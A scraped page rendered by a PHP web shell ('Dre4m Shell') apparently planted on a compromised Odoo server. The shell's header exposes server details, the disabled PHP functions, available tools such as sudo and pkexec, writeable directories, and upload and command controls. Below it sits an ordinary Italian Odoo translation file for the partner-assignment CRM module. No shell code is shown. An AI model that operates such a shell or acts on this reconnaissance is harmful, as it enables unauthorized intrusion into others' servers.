Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 13.59.48.34
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/website_crm_partner_assign/i18n/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/website_crm_partner_assign/i18n/it.po
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * website_crm_partner_assign
# 
# Translators:
# p_amoruso <p.amoruso@elvenstudio.it>, 2016
# Martin Trigaux <mat@odoo.com>, 2016
# Paolo Valier <paolo.valier@hotmail.it>, 2016
# Massimo Bianchi <bianchi.massimo@gmail.com>, 2016
# Christian <chris@effeci.info>, 2016
# Simone Bernini <simone@aperturelabs.it>, 2016
# Francesco Garganese <francesco.garganese@aeromnia.aero>, 2016
# Lorenzo Battistini <lorenzo.battistini@agilebg.com>, 2016
# Matteo Boscolo <matteo.boscolo.76@gmail.com>, 2016
# Giacomo Grasso <giacomo.grasso.82@gmail.com>, 2016
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 10.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-11-14 15:55+0000\n"
"PO-Revision-Date: 2016-11-14 15:55+0000\n"
"Last-Translator: Giacomo Grasso <giacomo.grasso.82@gmail.com>, 2016\n"
"Language-Team: Italian (https://www.transifex.com/odoo/teams/41243/it/)\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Language: it\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#. module: website_crm_partner_assign
#: model:mail.template,body_html:website_crm_partner_assign.email_template_lead_forward_mail
msgid ""
"\n"
"<p>Hello,</p>\n"
"\n"
"\n"
"<p>We have been contacted by those prospects that are in your region. Thus, the following leads have been assigned to ${ctx['partner_id'].name}:</p>\n"
"\n"
"<ol>\n"
"% for lead in ctx['partner_leads']:\n"
"     <li><a href=\"${lead.lead_link}\">${lead.lead_id.name or 'Subject Undefined'}</a>, ${lead.lead_id.partner_name or lead.lead_id.contact_name or 'Contact Name Undefined'}, ${lead.lead_id.country_id and lead.lead_id.country_id.name or 'Country Undefined' }, ${lead.lead_id.email_from or 'Email Undefined'}, ${lead.lead_id.phone or ''} </li></br>\n"
"% endfor\n"
"</ol>\n"
"\n"
"% if ctx.get('partner_in_portal'):\n"
"<p>Please connect to your <a href=\"${object.get_portal_url()}\">Partner Portal</a> to get details. On each lead are two buttons on the top left corner that you should press after having contacted the lead: \"I'm interested\" & \"I'm not interested\".</p>\n"
"% else:\n"
"<p>\n"
"    You do not have yet a portal access to our database. Please contact \n"
"    ${ctx['partner_id'].user_id and ctx['partner_id'].user_id.email and 'your account manager %s (%s)' % (ctx['partner_id'].user_id.name,ctx['partner_id'].user_id.email) or 'us'}.\n"
"</p>\n"
"% endif\n"
"<p>The lead will be sent to another partner if you do not contact the lead before 20 days.</p>\n"
"\n"
"<p>Thanks,</p>\n"
"\n"
"${ctx['partner_id'].user_id and ctx['partner_id'].user_id.signature or '' | safe}\n"
"\n"
"% if not ctx['partner_id'].user_id:\n"
"PS: It looks like you do not have an account manager assigned to you, please contact us.\n"
"% endif\n"
"            "
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_nbr_cases
msgid "# of Cases"
msgstr "# di Casi"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_partner_report_assign_nbr_opportunities
msgid "# of Opportunity"
msgstr "# di opportunità"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "&amp;times;"
msgstr "&amp;times;"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
msgid "<i class=\"fa fa-file-text-o\"/> I'm interested"
msgstr "<i class=\"fa fa-file-text-o\"/> Sono interessato"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
msgid "<i class=\"fa fa-fw fa-times\"/> I'm not interested"
msgstr "<i class=\"fa fa-fw fa-times\"/> Non sono interessato"

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/models/crm_lead.py:192
#, python-format
msgid "<p>I am interested by this lead.</p>"
msgstr "<p>Sono interessato a questo lead.</p>"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_crm_lead_geo_assign_form
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_crm_opportunity_geo_assign_form
msgid ""
"<span class=\"oe_grey\" attrs=\"{'invisible':[('partner_latitude','&lt;=',0)]}\">N </span>\n"
"                                <span class=\"oe_grey\" attrs=\"{'invisible':[('partner_latitude','&gt;=',0)]}\">S </span>"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_crm_lead_geo_assign_form
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_crm_opportunity_geo_assign_form
msgid ""
"<span class=\"oe_grey\" attrs=\"{'invisible':[('partner_longitude','&lt;=',0)]}\">E </span>\n"
"                                <span class=\"oe_grey\" attrs=\"{'invisible':[('partner_longitude','&gt;=',0)]}\">W </span>\n"
"                                <span class=\"oe_grey\">) </span>"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
msgid ""
"<span class=\"text-danger error_partner_assign_desinterested\" "
"style=\"display:none;\">You need to fill up the next action and contact the "
"customer before accepting the lead</span>"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
msgid ""
"<span class=\"text-danger error_partner_assign_interested\" "
"style=\"display:none;\">You need to fill up the next action and contact the "
"customer before accepting the lead</span>"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "<span>at </span>"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "<strong>Message and communication history</strong>"
msgstr "<strong>Storico messaggi e comunicazioni</strong>"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_partner_report_assign_activation
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_activation
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_users_activation
#: model:ir.ui.view,arch_db:website_crm_partner_assign.res_partner_activation_form
#: model:ir.ui.view,arch_db:website_crm_partner_assign.res_partner_activation_tree
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_res_partner_filter_assign
msgid "Activation"
msgstr "Attivazione"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_grade_active
msgid "Active"
msgstr "Attivo"

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/models/crm_lead.py:235
#, python-format
msgid "Activity Done"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Address"
msgstr "Indirizzo"

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/controllers/main.py:94
#, python-format
msgid "All"
msgstr "Tutto"

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/controllers/main.py:206
#, python-format
msgid "All Categories"
msgstr "Tutte le categorie"

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/controllers/main.py:223
#, python-format
msgid "All Countries"
msgstr "Tutte le nazionalità"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_date_assign
msgid "Assign Date"
msgstr "Data assegnamento"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_report_crm_lead_assign_filter
msgid "Assign Month"
msgstr "Assegna il mese"

#. module: website_crm_partner_assign
#: model:ir.actions.server,name:website_crm_partner_assign.action_assign_salesman_according_assigned_partner
msgid "Assign salesman of assigned partner"
msgstr "Assegna il venditore del partner assegnato"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_date_assign
msgid "Assignation Date"
msgstr "Data assegnazione"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_assignation_partner_assigned_id
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_partner_assigned_id
#: model:ir.ui.view,arch_db:website_crm_partner_assign.crm_lead_partner_filter
#: model:ir.ui.view,arch_db:website_crm_partner_assign.crm_opportunity_partner_filter
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_crm_lead_geo_assign_form
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_crm_opportunity_geo_assign_form
msgid "Assigned Partner"
msgstr "Partner assegnato"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_crm_lead_geo_assign_form
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_crm_opportunity_geo_assign_form
msgid "Automatic Assignation"
msgstr "Assegnazione automatica"

#. module: website_crm_partner_assign
#: model:ir.model.fields,help:website_crm_partner_assign.field_crm_lead_forward_to_partner_body
msgid "Automatically sanitized HTML contents"
msgstr "Pulisci automaticamente il contenuto HTML"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_probability
msgid "Avg Probability"
msgstr "Probabilità media"

#. module: website_crm_partner_assign
#: model:res.partner.grade,name:website_crm_partner_assign.res_partner_grade_bronze
msgid "Bronze"
msgstr "Bronzo"

#. module: website_crm_partner_assign
#: model:ir.model,name:website_crm_partner_assign.model_crm_lead_report_assign
msgid "CRM Lead Report"
msgstr "CRM Report iniziative"

#. module: website_crm_partner_assign
#: model:ir.model,name:website_crm_partner_assign.model_crm_partner_report_assign
msgid "CRM Partner Report"
msgstr "CRM Report dei Partner"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
msgid "Campaign"
msgstr "Campagna"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.crm_lead_forward_to_partner_form
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Cancel"
msgstr "Annulla"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "City"
msgstr "Città"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_date_closed
msgid "Close Date"
msgstr "Data chiusura"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_company_id
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_report_crm_lead_assign_filter
msgid "Company"
msgstr "Azienda"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Confirm"
msgstr "Conferma"

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/controllers/main.py:50
#: code:addons/website_crm_partner_assign/controllers/main.py:106
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_leads
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunities
#, python-format
msgid "Contact Name"
msgstr "Nome Contatto"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.index
msgid "Contact a reseller"
msgstr "Contatta un rivenditore"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_forward_to_partner_body
msgid "Contents"
msgstr "Contenuti"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Countries..."
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_country_id
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_partner_report_assign_country_id
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_report_crm_lead_assign_filter
msgid "Country"
msgstr "Nazione"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_create_date
msgid "Create Date"
msgstr "Data creazione"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_assignation_create_uid
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_forward_to_partner_create_uid
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_activation_create_uid
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_grade_create_uid
msgid "Created by"
msgstr "Creato da"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_assignation_create_date
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_forward_to_partner_create_date
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_activation_create_date
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_grade_create_date
msgid "Created on"
msgstr "Creato il"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunities
msgid "Current stage of the opp"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_partner_id
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Customer"
msgstr "Cliente"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Customer Name"
msgstr "Nome cliente"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_leads
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunities
msgid "Date"
msgstr "Data"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_report_crm_partner_assign_filter
msgid "Date Partnership"
msgstr "Data della partnership"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_report_crm_partner_assign_filter
msgid "Date Review"
msgstr "Data revisione"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Deadline:"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_delay_open
msgid "Delay to Assign"
msgstr "Ritardo nell'assegnazione"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_delay_close
msgid "Delay to Close"
msgstr "Ritardo chiusura"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Details Next Activity"
msgstr "Dettagli Prossima Attività"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_assignation_display_name
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_forward_to_partner_display_name
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_display_name
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_partner_report_assign_display_name
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_activation_display_name
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_grade_display_name
msgid "Display Name"
msgstr "Nome Visualizzato"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
msgid "Do you have contacted the customer?"
msgstr "Hai contattato il cliente?"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Edit Contact"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Edit Opportunity"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Email"
msgstr "Email"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.crm_lead_forward_to_partner_form
msgid "Email Template"
msgstr "Modello Email"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
msgid "Expected Closing"
msgstr "Chiusura attesa"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Expected Closing:"
msgstr ""

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/controllers/main.py:107
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunities
#, python-format
msgid "Expected Revenue"
msgstr "Entrata prevista"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_report_crm_lead_assign_filter
msgid "Extended Filters..."
msgstr "Filtri estesi..."

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.index
msgid "Filter by Country"
msgstr "Filtra per Provincia"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.index
msgid "Filter by Level"
msgstr "Filtra per Livello"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_forward_to_partner_partner_id
msgid "Forward Leads To"
msgstr "Inoltra il lead a"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_forward_to_partner_forward_type
msgid "Forward selected leads to"
msgstr "Inoltra i lead selezionati a"

#. module: website_crm_partner_assign
#: model:ir.actions.act_window,name:website_crm_partner_assign.action_crm_send_mass_forward
#: model:ir.actions.act_window,name:website_crm_partner_assign.crm_lead_forward_to_partner_act
msgid "Forward to Partner"
msgstr "Inoltra a Partner"

#. module: website_crm_partner_assign
#: model:mail.template,subject:website_crm_partner_assign.email_template_lead_forward_mail
msgid "Fwd: Lead: ${ctx['partner_id'].name}"
msgstr "Fwd: Lead: ${ctx['partner_id'].name}"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_partner_latitude
msgid "Geo Latitude"
msgstr "Geo Latitudine"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_partner_longitude
msgid "Geo Longitude"
msgstr "Geo Longitudine"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_crm_lead_geo_assign_form
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_crm_opportunity_geo_assign_form
msgid "Geolocation"
msgstr "Geolocalizzazione"

#. module: website_crm_partner_assign
#: model:ir.model.fields,help:website_crm_partner_assign.field_res_partner_grade_partner_weight
#: model:ir.model.fields,help:website_crm_partner_assign.field_res_partner_partner_weight
#: model:ir.model.fields,help:website_crm_partner_assign.field_res_users_partner_weight
msgid ""
"Gives the probability to assign a lead to this partner. (0 means no "
"assignation.)"
msgstr ""
"Fornisce la probabilità di assegnare una lead a questo Partner. (0 significa"
" nessuna assegnazione)."

#. module: website_crm_partner_assign
#: model:res.partner.grade,name:website_crm_partner_assign.res_partner_grade_gold
msgid "Gold"
msgstr "Oro"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_grade_id
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_partner_report_assign_grade_id
msgid "Grade"
msgstr "Qualità"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_report_crm_lead_assign_filter
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_report_crm_partner_assign_filter
msgid "Group By"
msgstr "Raggruppa per"

#. module: website_crm_partner_assign
#: selection:crm.lead.report.assign,priority:0
msgid "High"
msgstr "Alta"

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/models/crm_lead.py:203
#, python-format
msgid "I am not interested by this lead. I contacted the lead."
msgstr ""

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/models/crm_lead.py:205
#, python-format
msgid "I am not interested by this lead. I have not contacted the lead."
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_assignation_id
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_forward_to_partner_id
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_id
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_partner_report_assign_id
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_activation_id
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_grade_id
msgid "ID"
msgstr "ID"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_implemented_partner_ids
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_users_implemented_partner_ids
msgid "Implementation References"
msgstr "Riferimenti dell'implementazione"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_assigned_partner_id
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_users_assigned_partner_id
msgid "Implemented by"
msgstr "Implementato da"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_partner_report_assign_date
msgid "Invoice Account Date"
msgstr "Data della fattura"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_assignation___last_update
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_forward_to_partner___last_update
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign___last_update
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_partner_report_assign___last_update
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_activation___last_update
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_grade___last_update
msgid "Last Modified on"
msgstr "Ultima modifica il"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_assignation_write_uid
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_forward_to_partner_write_uid
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_activation_write_uid
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_grade_write_uid
msgid "Last Updated by"
msgstr "Ultima modifica di"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_assignation_write_date
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_forward_to_partner_write_date
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_activation_write_date
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_grade_write_date
msgid "Last Updated on"
msgstr "Ultima modifica il"

#. module: website_crm_partner_assign
#: model:ir.model.fields,help:website_crm_partner_assign.field_crm_lead_date_assign
msgid "Last date this case was forwarded/assigned to a partner"
msgstr "Ultima data di assegnazione/inoltro a partner del caso"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_partner_report_assign_date_review
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_date_review
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_users_date_review
msgid "Latest Partner Review"
msgstr "Ultima revisione partner"

#. module: website_crm_partner_assign
#: selection:crm.lead.report.assign,type:0
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_assignation_lead_id
msgid "Lead"
msgstr "Lead"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
msgid "Lead -"
msgstr "Lead -"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_report_crm_lead_assign_graph
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_report_crm_lead_assign_pivot
msgid "Lead Assign"
msgstr "Assegnazione lead"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
msgid "Lead Feedback"
msgstr "feedback dal lead"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_assignation_lead_location
msgid "Lead Location"
msgstr "Posizione del lead"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_assignation_lead_link
msgid "Lead Single Links"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.model,name:website_crm_partner_assign.model_crm_lead
msgid "Lead/Opportunity"
msgstr "Lead/Opportunità"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_home_menu_lead
msgid "Leads"
msgstr "Leads"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_report_crm_lead_assign_filter
msgid "Leads Analysis"
msgstr "Analisi iniziative"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_grade_id_9928
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_users_grade_id
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_partner_grade_form
msgid "Level"
msgstr "Livello"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_grade_name
msgid "Level Name"
msgstr "Nome del livello"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_grade_partner_weight
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_partner_weight
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_users_partner_weight
msgid "Level Weight"
msgstr "Peso del livello"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.index
msgid "Looking For a Local Store?"
msgstr ""

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/controllers/main.py:100
#, python-format
msgid "Lost"
msgstr "Perso"

#. module: website_crm_partner_assign
#: selection:crm.lead.report.assign,priority:0
msgid "Low"
msgstr "Bassa"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_probability_max
msgid "Max Probability"
msgstr "Probabilità massima"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
msgid "Medium"
msgstr "Medio"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Mobile"
msgstr "Cellulare"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.crm_lead_partner_filter
#: model:ir.ui.view,arch_db:website_crm_partner_assign.crm_opportunity_partner_filter
msgid "My Assigned Partners"
msgstr "I miei partner"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
msgid "My Leads"
msgstr "I miei lead"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "My Opportunities"
msgstr "Mie Opportunità"

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/controllers/main.py:49
#: code:addons/website_crm_partner_assign/controllers/main.py:105
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_activation_name
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_leads
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunities
#, python-format
msgid "Name"
msgstr "Nome"

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/controllers/main.py:48
#: code:addons/website_crm_partner_assign/controllers/main.py:104
#, python-format
msgid "Newest"
msgstr "Recenti"

#. module: website_crm_partner_assign
